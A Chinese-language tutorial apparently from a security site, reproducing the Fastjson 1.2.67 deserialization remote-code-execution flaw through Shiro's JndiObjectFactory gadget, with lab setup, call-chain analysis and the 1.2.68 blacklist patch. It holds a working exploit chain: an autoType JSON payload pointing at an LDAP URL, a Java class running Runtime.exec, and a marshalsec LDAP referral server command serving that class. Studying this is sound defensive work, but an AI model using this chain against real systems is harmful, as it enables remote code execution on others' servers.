初識Fastjson漏洞(環境搭建及漏洞復現)

目前網上的資源整理不是針對入門玩家,都需要一定的java漏洞調試基礎,本文從一個簡單的FastJson 漏洞開始,搭建漏洞環境,分析漏洞成因,使用條件等。從入門者的角度看懂並復現漏洞觸發,擁有屬於自己的一套漏洞調試環境。

0x01 Fastjson簡介

Fastjson 是Alibaba的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化爲 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。 https://github.com/alibaba/fastjson

0x02 環境搭建

JDK 版本:8u112fastjson: 1.2.67shiro: 1.5.1slf4j-nop: 1.7.25

0x1 添加依賴包

爲了快速添加項目所需要的jar包,創建Maven項目如下

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>


    <groupId>groupId</groupId>
    <artifactId>Fastjson1.2.66_RCE</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.67</version>
        </dependency>


        <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.5.1</version>
        </dependency>


        <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-simple</artifactId>
        <version>1.7.25</version>
        <scope>test</scope>
        </dependency>


        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.25</version>
        </dependency>


    </dependencies>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
        <java.version>1.8</java.version>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>
</project>

之後右鍵pom.xml 點擊下載source和document


0x2 選擇JDK版本

該漏洞選擇JDK 8u112


0x3 編寫漏洞代碼

在main文件夾中添加漏洞代碼,核心在於調用了fastjson.JSON的parseObject 函數


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class test {
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);


        String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}";
        try {
            JSON.parseObject(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }


    }
}


0x03 漏洞原理

0x1 FastJson 類解析

Fastjson接口簡單易用,廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端提供兩個主要接口toJsonString和parseObject來分別實現序列化和反序列化。

FastJson中的 parse() 和 parseObject()方法都可以用來將JSON字符串反序列化成Java對象,parseObject() 本質上也是調用 parse() 進行反序列化的。但是 parseObject() 會額外的將Java對象轉爲 JSONObject對象,即 JSON.toJSON()。所以進行反序列化時的細節區別在於,parse() 會識別並調用目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject() 由於多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。

fastjson.java

package com.teddy.fastjson;


import com.alibaba.fastjson.JSON;
import java.io.IOException;


public class fastjson {


    public String name;
    public String age;
    public fastjson() throws IOException {
    }


    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }


    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }


    public void setAge(String test) {
        System.out.println("age setter called");
        this.age = test;
    }
    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }


    public static void main(String[] args) {
        Object obj = JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
        System.out.println(obj);
        System.out.println("------------");
        Object obj2 = JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
        System.out.println(obj2);
    }


}

result

name setter called
age setter called
com.teddy.fastjson.fastjson@66480dd7
------------
name setter called
age setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}


由結果可以看出調用parseObject 函數會調用getattr方法。

0x2 漏洞調用鏈分析

調用棧分析

1. parseObject 對象類型轉換

這一步的操作是將obj對應的對象類型轉化爲json格式,這勢必要方位getattr 對象方法,從而觸發漏洞。

2. 反射調用

通過invoke方法,調用getinstance方法

3. 觸發ldap

在JndiObjectFactory getinstance 中調用了this.lookup(resourceName)

0x3 JNDI 注入

Java Name Directory Interface,Java命名和目錄接口(JNDI)是一種Java API,類似於一個索引中心,它允許客戶端通過name發現和查找數據和對象。JNDI包括Naming Service和Directory Service,通過名稱來尋找數據和對象的API,也稱爲一種綁定。JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

其應用場景比如:動態加載數據庫配置文件,從而保持數據庫代碼不變動等。

注入方法:

  1. JNDI Reference 配合 RMI

  2. JNDI Reference 配合 LDAP

RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");

若lookup函數中的參數攻擊者可控,便可以指向攻擊者的服務器,即可實現JNDI注入實現任意代碼執行。

1 RMI

RMI(Remote Method Invocation,遠程方法調用)。遠程方法調用是分佈式編程中的一個基本思想,實現遠程方法調用的技術有CORBA、WebService等(這兩種獨立於編程語言)。RMI則是專門爲JAVA設計,依賴JRMP通訊協議。

2 LDAP

LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,運行在TCP/IP堆棧之上。目錄服務是一個特殊的數據庫,用來保存描述性的、基於屬性的詳細信息,能進行查詢、瀏覽和搜索,以樹狀結構組織數據。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強,但“寫”性能較差,並且沒有事務處理、回滾等複雜功能,不適於存儲修改頻繁的數據。LDAP目錄和RMI註冊表的區別在於是前者是目錄服務,並允許分配存儲對象的屬性。

該漏洞簡單的將利用org.apache.shiro 包中的jndi功能訪問自己搭建的ldap服務,獲取並執行自己編譯的Exploit.class文件。

0x04 漏洞利用

0x1 編譯Java 利用代碼

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
    public ExecTest() throws IOException,InterruptedException{
        String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }


    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}


命令行編譯class文件

/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java



0x2 開啓 LDAP 服務

使用marshalsec啓動一個ladp服務器 ,下載地址爲https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit


0x3 開啓HTTP Web 服務

將編譯好的Exploit.class 放在web目錄下並開啓服務

0x05 漏洞補丁

這個鏈接梳理了fastjson hash對應的jar,可以方便的尋找已經被過濾的jar包https://github.com/LeadroyaL/fastjson-blacklist

該漏洞採用黑名單的方式進行修補,在1.2.68中把org.apache.shiro.jndi 給ban掉了

對應的具體代碼如下圖所示,在   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函數中有對應處理

黑名單hash生成算法,大概思路是將每一位都異或進行異或疊加。

if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                        continue;
                    }
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }


0x06 參考鏈接

本文項目鏈接 https://github.com/ctlyz123/fastjson_vul


https://www.jianshu.com/p/776c56fc3a80


https://github.com/LeadroyaL/fastjson-blacklist


http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/


https://www.freebuf.com/column/189835.html


https://cloud.tencent.com/developer/article/1601977


https://paper.seebug.org/994/#0x01-fastjson

Java反序列漏洞

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001

歡迎投稿至郵箱:[email protected]

有才能的你快來投稿吧!

投稿細則都在裏面了,點擊查看哦

重金懸賞 | 合天原創投稿漲稿費啦!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章